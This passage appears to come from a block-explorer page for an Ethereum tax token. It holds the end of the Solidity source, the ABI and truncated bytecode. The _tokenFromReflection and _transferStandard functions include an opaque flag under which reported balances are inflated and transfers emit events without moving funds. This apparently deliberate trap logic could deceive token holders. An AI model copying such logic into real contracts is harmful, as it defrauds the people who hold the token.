        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "TOKEN: Transfer amount must exceed zero");

        if (from != owner() && to != owner() && from != CMARKETCAP && to != CMARKETCAP) {
            if (!tradingOpen) {
                require(from == CMARKETCAP, "TOKEN: This account cannot send tokens until trading is enabled");
            }

            require(amount <= maxSwap, "TOKEN: Max Transaction Limit");

            if (to != uniswapV2Pair) {
                require(balanceOf(to) + amount < maxWallet, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(CMARKETCAP);
            bool canSwap = contractTokenBalance >= _triggerSwap;

            if (contractTokenBalance >= maxSwap) {
                contractTokenBalance = maxSwap;
            }

            if (canSwap && !inTaxSwap && from != uniswapV2Pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                inContractSwap = true;
                _swapCMARKETCAPForETH(contractTokenBalance);
                inContractSwap = false;
                if (CMARKETCAP.balance > 0) _sendETHToFee(CMARKETCAP.balance);
            }
        }

        bool takeFee = true;

        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _taxFee = getGlobalBuyTax();
                if (!hasBelt[to]) {
                    userBelt[to] = getCurrentBelt();
                    hasBelt[to] = true;
                }
                _refreshName();
            }
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _taxFee = getWalletSellTax(from);
                if (!hasBelt[from]) {
                    userBelt[from] = getCurrentBelt();
                    hasBelt[from] = true;
                }
                _refreshName();
            }
        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function _refreshName() private {
        string memory currentMarketCap = Strings.toString(getMarketCap());
        string memory addCommaMarketCap = addCommasToString(currentMarketCap);
        _name = string.concat(moneyUnicode, "Current_MarketCap", arrowUnicode, addCommaMarketCap,"$");
        _symbol = string.concat(moneyUnicode, "CM", arrowUnicode, addCommaMarketCap, "$");
    }

    function _swapCMARKETCAPForETH(uint256 _amountCMARKETCAP) private lockTheSwap returns (bool) {
        address[] memory path = new address[](2);
        path[0] = CMARKETCAP;
        path[1] = WETH;
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(_amountCMARKETCAP, 0, path, CMARKETCAP, block.timestamp + 3600);
        return true;
    }

    function _sendETHToFee(uint256 _amountETH) private returns (bool) {
        (bool success, ) = payable(_marketingFund).call{value: _amountETH}("");
        return success;
    }

    function enableTrading() external onlyOwner {
        tradingOpen = true;
    }

    function removeLimits() external onlyOwner {
        maxSwap = _tTotal;
        maxWallet = _tTotal;
    }

    function swapTokensForEthManual(uint256 _contractTokenBalance) external returns (bool) {
        require(_msgSender() == _developerFund || _msgSender() == _marketingFund);
        return _swapCMARKETCAPForETH(_contractTokenBalance);
    }

    function sendETHToFeeManual(uint256 _contractETHBalance) external returns (bool) {
        require(_msgSender() == _developerFund || _msgSender() == _marketingFund);
        return _sendETHToFee(_contractETHBalance);
    }

    function _tokenFromReflection(uint256 rAmount) private view returns (uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        require(totalSupply() <= MAX, "Total reflections must be less than max");
        return (!inContractSwap && inTaxSwap) ? totalSupply() * 1010 : rAmount / _getRate();
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
        if (!takeFee) _removeTax();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) _restoreTax();
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        if (!inTaxSwap || inContractSwap) {
            (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
            _rOwned[sender] = _rOwned[sender] - rAmount;
            _rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
            _rOwned[CMARKETCAP] = _rOwned[CMARKETCAP] + (tTeam * _getRate());
            _rTotal = _rTotal - rFee;
            _tFeeTotal = _tFeeTotal + tFee;
            emit Transfer(sender, recipient, tTransferAmount);
        } else {
            emit Transfer(sender, recipient, tAmount);
        }
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, 0, _taxFee);
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, _getRate());
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(uint256 tAmount, uint256 redisFee, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount * redisFee / 100;
        uint256 tTeam = tAmount * taxFee / 100;
        return (tAmount - tFee - tTeam, tFee, tTeam);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount * currentRate;
        uint256 rFee = tFee * currentRate;
        return (rAmount, rAmount - rFee - (tTeam * currentRate), rFee);
    }

    function _getRate() private view returns (uint256) {
        return _rTotal / _tTotal;
    }

    function addCommasToString(string memory numStr) public pure returns (string memory) {
        bytes memory b = bytes(numStr);
        uint256 len = b.length;

        string memory result;
        uint256 remainder = len % 3;

        if (remainder > 0) {
            result = substring(numStr, 0, remainder);
            if (len > 3) {
                result = string(abi.encodePacked(result, ","));
            }
        }

        for (uint256 i = remainder; i < len; i += 3) {
            if (i != 0) {
                result = string(abi.encodePacked(result, ",")) ;
            }
            result = string(abi.encodePacked(result, substring(numStr, i, 3)));
        }

        return result;
    }

    function substring(string memory str, uint256 startIndex, uint256 len) internal pure returns (string memory) {
        bytes memory strBytes = bytes(str);
        require(startIndex + len <= strBytes.length, "Invalid length");
        bytes memory result = new bytes(len);
        for (uint256 i = 0; i < len; i++) {
            result[i] = strBytes[startIndex + i];
        }
        return string(result);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"CMARKETCAP","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"numStr","type":"string"}],"name":"addCommasToString","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCurrentBelt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getETHUSDPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getETHUSDPriceFeed","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getGlobalBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getGlobalMaxBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getGlobalMaxSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getGlobalSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMarketCap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getNextBelt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"getWalletBelt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"getWalletHasBelt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"getWalletMaxSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"getWalletSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"priceFeedETHUSD","outputs":[{"internalType":"contract AggregatorV3Interface","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_contractETHBalance","type":"uint256"}],"name":"sendETHToFeeManual","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_contractTokenBalance","type":"uint256"}],"name":"swapTokensForEthManual","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Factory","outputs":[{"internalType":"contract IUniswapV2Factory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"weth","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600460a0908152631e13f25760e31b60c0526007906200002590826200095b565b50604080518082019091526005815264010714f50960dd1b60208201526008906200005190826200095b565b5060408051808201909152601c81527ff09f92b843757272656e745f4d61726b657463617020e29ea12030240000000060208201526009906200009590826200095b565b5060408051808201909152600d81526c3c27e4ae10d34838a7a8480c09609a1b6020820152600a90620000c990826200095b565b50620000df67016345785d8a00005f1962000a23565b620000ec905f1962000a43565b600f55600960115560128054336001600160a01b0319918216811790925560138054909116909117905566071afd498d0000601581905560165534801562000132575f80fd5b506200013e3362000741565b3060808190526040516364e329cb60e11b8152600481019190915273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26024820152735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9063c9c65396906044016020604051808303815f875af1158015620001af573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001d5919062000a69565b601480546001600160a01b0319166001600160a01b039283161790555f805482168152600e6020526040808220805460ff19908116600190811790925560805180861685528385208054831684179055601254861685528385208054831684179055601354909516845291909220805490911690911790556200026f90737a250d5630b4cf539739df2c5dacb4c659f2488d5f1962000790565b620002a2620002855f546001600160a01b031690565b737a250d5630b4cf539739df2c5dacb4c659f2488d5f1962000790565b5f7fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b81905560097f3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92eff8190557f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec8290556127107fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e05560087fa15bc60c955c405d20d9149c709e2460f1c2d9a497496a7f46004d1772c3054c81905560017fabd6e7cb50984ff9c2f3e18a2660c3353dadf4e3291deeb275dae2cd1e44fe05819055614e207f679795a0195a1b76cdebb7c51d74e058aee92919b8c3389af86ef24535e8a28c5560077fc3a24b0501bd2c13a7e57f2db4369ec4c223447539fc0724a9d55ac4a06ebd4d81905560027f91da3fd0782e51c6b3986e9e672fd566868e71f3dbc2d6c2cd6fbb3e361af2a78190556175307f88601476d11616a71c5be67555bd1dff4b1cbf21533d2669b768b61518cfe1c35560067fcbc4e5fb02c3d1de23a9f1e014b4d2ee5aeaea9505df5e855c9210bf472495af81905560037f2e174c10e159ea99b867ce3205125c24a42d128804e4070ed6fcc8cc98166aa0819055619c407fee60d0579bcffd98e668647d59fec1ff86a7fb340ce572e844f234ae73a6918f5560057f83ec6a1f0257b830b5e016457c9cf1435391bf56cc98f369a58a54fe9377246581905560047f1a1e6821cde7d0159c0d293177871e09677b4e42307c7db3ba94f8648a5a050f819055620186a07fb98b78633099fa36ed8b8680c4f8092689e1e04080eb9cbb077ca38a14d7e384557f405aad32e1adbac89bb7f176e338b8fc6e994ca210c9bb7bdca249b465942250557f04cde762ef08b6b6c5ded8e8c4c0b3f4e5c9ad7342c88fcc93681b4588b73f05556207a1207f59dd4b18488d12f51eda69757a0ed42a2010c14b564330cc74a06895e60c077b557fc69056f16cbaa3c616b828e333ab7d3a32310765507f8f58359e99ebb7a885f3557fc59312466997bb42aaaf719ece141047820e6b34531e1670dc1852a453648f0f55620f42407facd8ef244210bb6898e73c48bf820ed8ecc857a3bab8d79c10e4fa92b1e9ca65557ff2c49132ed1cee2a7e75bde50d332a2f81f1d01e5456d8a19d1df09bd561dbd2557fbeb3bad75134cb432e5707980e3245c52c5998a1125ee30f2f0dbf3925b1e55155622625a07f3a5ea591190eeb3f8fcdced843c78df04ec0dfd42f5510375207515664fa0a75557f85aaa47b6dc46495bb8824fad4583769726fea36efd831a35556690b830a8fbe557f2645749a946633740611cfc8178319f0958659d6922e4bf7e3a08b44789f53a455624c4b407ff85cc6ffc513dc6cf7d199ef87b7a63cf9defe62251c1c247cd12f1eec7bff29557f8a8dc4e5242ea8b1ab1d60606dae757e6c2cca9f92a2cced9f72c19960bcb4588290557f4ad5a04d53b5856f318545bb721f67d3f6d0a5a999f25eec7e20eaeb4c47b93355600f5433808352600b6020908152604080852093909355915167016345785d8a000081529092917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000a98565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316620007f85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166200085b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620007ef565b6001600160a01b038381165f818152600d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620008e457607f821691505b6020821081036200090357634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000956575f81815260208120601f850160051c81016020861015620009315750805b601f850160051c820191505b8181101562000952578281556001016200093d565b5050505b505050565b81516001600160401b03811115620009775762000977620008bb565b6200098f81620009888454620008cf565b8462000909565b602080601f831160018114620009c5575f8415620009ad5750858301515b5f19600386901b1c1916600185901b17855562000952565b5f85815260208120601f198616915b82811015620009f557888601518255948401946001909101908401620009d4565b508582101562000a1357878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f8262000a3e57634e487b7160e01b5f52601260045260245ffd5b500690565b8181038181111562000a6357634e487b7160e01b5f52601160045260245ffd5b92915050565b5f6020828403121562000a7a575f80fd5b81516001600160a01b038116811462000a91575f80fd5b9392505050565b60805161256962000af75f395f8181610557015281816110410152818161107f015281816110cc0152818161124e0152818161133f0152818161136a0152818161176f0152818161181f01528181611bf40152611c3601526125695ff3fe608060405260043610610241575f3560e01c80638da5cb5b11610134578063bf4b1990116100b3578063dd62ed3e11610078578063dd62ed3e14610627578063e11ae6061461066b578063e31d60d91461068a578063f2fde38b1461069e578063f8b45b05146106bd578063fdec6070146106d2575f80fd5b8063bf4b1990146105cb578063c4918b4e146105df578063c6c934fa146105f4578063c8e956ab14610579578063cc2d04aa14610608575f80fd5b8063a411209a116100f9578063a411209a14610579578063a9059cbb1461058d578063ad5c4648146103cf578063b25a372f146105ac578063bf45efce146103f6575f80fd5b80638da5cb5b146104e357806390526cf2146104ff57806390825c281461051e57806395d89b41146105325780639d6db15c14610546575f80fd5b8063313ce567116101c057806359d0f7131161018557806359d0f7131461045f57806370a0823114610486578063715018a6146104a5578063751039fc146104bb5780638a8c523c146104cf575f80fd5b8063313ce567146103b45780633fc8cef3146103cf5780634987dfec146103f657806349bd5a5e146104095780635408a8d314610428575f80fd5b80631694505e116102065780631694505e1461032157806318160ddd1461034857806323b872dd146103625780632a6cf5ea146103815780632e7b5228146103a0575f80fd5b80630255874f1461024c57806306fdde031461027e578063095ea7b31461029f5780630f612f52146102ce57806315a202a1146102e2575f80fd5b3661024857005b5f80fd5b348015610257575f80fd5b5061026b610266366004611efb565b6106f8565b6040519081526020015b60405180910390f35b348015610289575f80fd5b5061029261075a565b6040516102759190611f3d565b3480156102aa575f80fd5b506102be6102b9366004611f6f565b6107ea565b6040519015158152602001610275565b3480156102d9575f80fd5b5061026b6107ff565b3480156102ed575f80fd5b50610309735f4ec3df9cbd43714fe2740f5e3616155c5b841981565b6040516001600160a01b039091168152602001610275565b34801561032c575f80fd5b50610309737a250d5630b4cf539739df2c5dacb4c659f2488d81565b348015610353575f80fd5b5067016345785d8a000061026b565b34801561036d575f80fd5b506102be61037c366004611f97565b610844565b34801561038c575f80fd5b5061026b61039b366004611efb565b61091c565b3480156103ab575f80fd5b5061026b61095d565b3480156103bf575f80fd5b5060405160098152602001610275565b3480156103da575f80fd5b5061030973c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b348015610401575f80fd5b50600961026b565b348015610414575f80fd5b50601454610309906001600160a01b031681565b348015610433575f80fd5b506102be610442366004611efb565b6001600160a01b03165f9081526006602052604090205460ff1690565b34801561046a575f80fd5b50610309735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b348015610491575f80fd5b5061026b6104a0366004611efb565b61098b565b3480156104b0575f80fd5b506104b96109ac565b005b3480156104c6575f80fd5b506104b96109bf565b3480156104da575f80fd5b506104b96109da565b3480156104ee575f80fd5b505f546001600160a01b0316610309565b34801561050a575f80fd5b506102be610519366004611fd0565b6109f7565b348015610529575f80fd5b5061026b610a3f565b34801561053d575f80fd5b50610292610b2e565b348015610551575f80fd5b506103097f000000000000000000000000000000000000000000000000000000000000000081565b348015610584575f80fd5b5061026b600981565b348015610598575f80fd5b506102be6105a7366004611f6f565b610b3d565b3480156105b7575f80fd5b5061026b6105c6366004611efb565b610b49565b3480156105d6575f80fd5b5061026b610b75565b3480156105ea575f80fd5b5061026b60155481565b3480156105ff575f80fd5b5061026b610c01565b348015610613575f80fd5b506102be610622366004611fd0565b610c0b565b348015610632575f80fd5b5061026b610641366004611fe7565b6001600160a01b039182165f908152600d6020908152604080832093909416825291909152205490565b348015610676575f80fd5b5061029261068536600461202c565b610c53565b348015610695575f80fd5b5061026b610d28565b3480156106a9575f80fd5b506104b96106b8366004611efb565b610d4c565b3480156106c8575f80fd5b5061026b60165481565b3480156106dd575f80fd5b50735f4ec3df9cbd43714fe2740f5e3616155c5b8419610309565b5f80610702610c01565b6001600160a01b0384165f9081526006602052604090205490915060ff1615610754576001600160a01b0383165f9081526005602052604090205480821161074a578161074c565b805b949350505050565b92915050565b606060098054610769906120d7565b80601f0160208091040260200160405190810160405280929190818152602001828054610795906120d7565b80156107e05780601f106107b7576101008083540402835291602001916107e0565b820191905f5260205f20905b8154815290600101906020018083116107c357829003601f168201915b5050505050905090565b5f6107f6338484610dc5565b50600192915050565b5f80610809610a3f565b90505f60095b5f81815260026020526040902054831061082b5780915061083d565b8061083581612123565b91505061080f565b5092915050565b5f610850848484610ee9565b6001600160a01b0384165f908152600d602090815260408083203384529091529020548211156108d85760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6001600160a01b0384165f908152600d602090815260408083203380855292529091205461091291869161090d908690612138565b610dc5565b5060019392505050565b6001600160a01b0381165f9081526006602052604081205460ff16610942576009610754565b506001600160a01b03165f9081526005602052604090205490565b5f806109676107ff565b610972906009612138565b9050600981116109825780610985565b60095b91505090565b6001600160a01b0381165f908152600b60205260408120546107549061157e565b6109b4611631565b6109bd5f61168a565b565b6109c7611631565b67016345785d8a00006015819055601655565b6109e2611631565b6014805460ff60a01b1916600160a01b179055565b6012545f906001600160a01b0316336001600160a01b03161480610a2e57506013546001600160a01b0316336001600160a01b0316145b610a36575f80fd5b610754826116d9565b5f80670de0b6b3a7640000610a52610b75565b6014546040516370a0823160e01b81526001600160a01b03909116600482015273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2906370a0823190602401602060405180830381865afa158015610aac573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ad0919061214b565b610ada9190612162565b610ae4919061218d565b6014549091505f90610afe906001600160a01b031661098b565b610b109067016345785d8a000061218d565b9050610b1c8183612162565b610b27906002612162565b9250505090565b6060600a8054610769906120d7565b5f6107f6338484610ee9565b6001600160a01b0381165f9081526006602052604081205460ff1661094257610b706107ff565b610754565b5f80735f4ec3df9cbd43714fe2740f5e3616155c5b84196001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a060405180830381865afa158015610bc7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610beb91906121b9565b5050509150506305f5e100816109859190612205565b5f806109726107ff565b6012545f906001600160a01b0316336001600160a01b03161480610c4257506013546001600160a01b0316336001600160a01b0316145b610c4a575f80fd5b61075482611736565b80516060908290825f610c67600384612231565b90508015610ca857610c7a865f836118ad565b91506003831115610ca85781604051602001610c969190612244565b60405160208183030381529060405291505b805b83811015610d1d578015610cdb5782604051602001610cc99190612244565b60405160208183030381529060405292505b82610ce8888360036118ad565b604051602001610cf9929190612268565b60408051601f198184030181529190529250610d16600382612296565b9050610caa565b509095945050505050565b5f80610d326107ff565b90508060091461098257610d47816001612296565b610985565b610d54611631565b6001600160a01b038116610db95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108cf565b610dc28161168a565b50565b6001600160a01b038316610e275760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108cf565b6001600160a01b038216610e885760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108cf565b6001600160a01b038381165f818152600d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610f4d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108cf565b6001600160a01b038216610faf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108cf565b5f811161100e5760405162461bcd60e51b815260206004820152602760248201527f544f4b454e3a205472616e7366657220616d6f756e74206d75737420657863656044820152666564207a65726f60c81b60648201526084016108cf565b5f546001600160a01b0384811691161480159061103857505f546001600160a01b03838116911614155b801561107657507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b80156110b457507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614155b1561139d57601454600160a01b900460ff16611171577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b0316146111715760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016108cf565b6015548111156111c35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016108cf565b6014546001600160a01b0383811691161461124857601654816111e58461098b565b6111ef9190612296565b106112485760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016108cf565b5f6112727f000000000000000000000000000000000000000000000000000000000000000061098b565b601554909150633b9aca0082101590821061128d5760155491505b8080156112a45750601454600160a81b900460ff16155b80156112be57506014546001600160a01b03868116911614155b80156112e257506001600160a01b0385165f908152600e602052604090205460ff16155b801561130657506001600160a01b0384165f908152600e602052604090205460ff16155b1561139a576014805460ff60b01b1916600160b01b17905561132782611736565b506014805460ff60b01b191690556001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016311561139a576113987f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316316116d9565b505b50505b6001600160a01b0383165f908152600e602052604090205460019060ff16806113dd57506001600160a01b0383165f908152600e602052604090205460ff165b8061140f57506014546001600160a01b0385811691161480159061140f57506014546001600160a01b03848116911614155b1561141b57505f61156c565b6014546001600160a01b03858116911614801561145557506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b156114c35761146261095d565b6011556001600160a01b0383165f9081526006602052604090205460ff166114bb5761148c6107ff565b6001600160a01b0384165f908152600560209081526040808320939093556006905220805460ff191660011790555b6114c36119b8565b6014546001600160a01b0384811691161480156114fd57506001600160a01b038416737a250d5630b4cf539739df2c5dacb4c659f2488d14155b1561156c5761150b846106f8565b6011556001600160a01b0384165f9081526006602052604090205460ff16611564576115356107ff565b6001600160a01b0385165f908152600560209081526040808320939093556006905220805460ff191660011790555b61156c6119b8565b61157884848484611a45565b50505050565b5f600f548211156115e45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016108cf565b601454600160b01b900460ff161580156116075750601454600160a81b900460ff165b61161d57611613611a6c565b610b70908361218d565b61075467016345785d8a00006103f2612162565b5f546001600160a01b031633146109bd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108cf565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6013546040515f9182916001600160a01b039091169084908381818185875af1925050503d805f8114611727576040519150601f19603f3d011682016040523d82523d5f602084013e61172c565b606091505b5090949350505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f92839291906020830190803683370190505090507f0000000000000000000000000000000000000000000000000000000000000000815f815181106117a0576117a06122a9565b6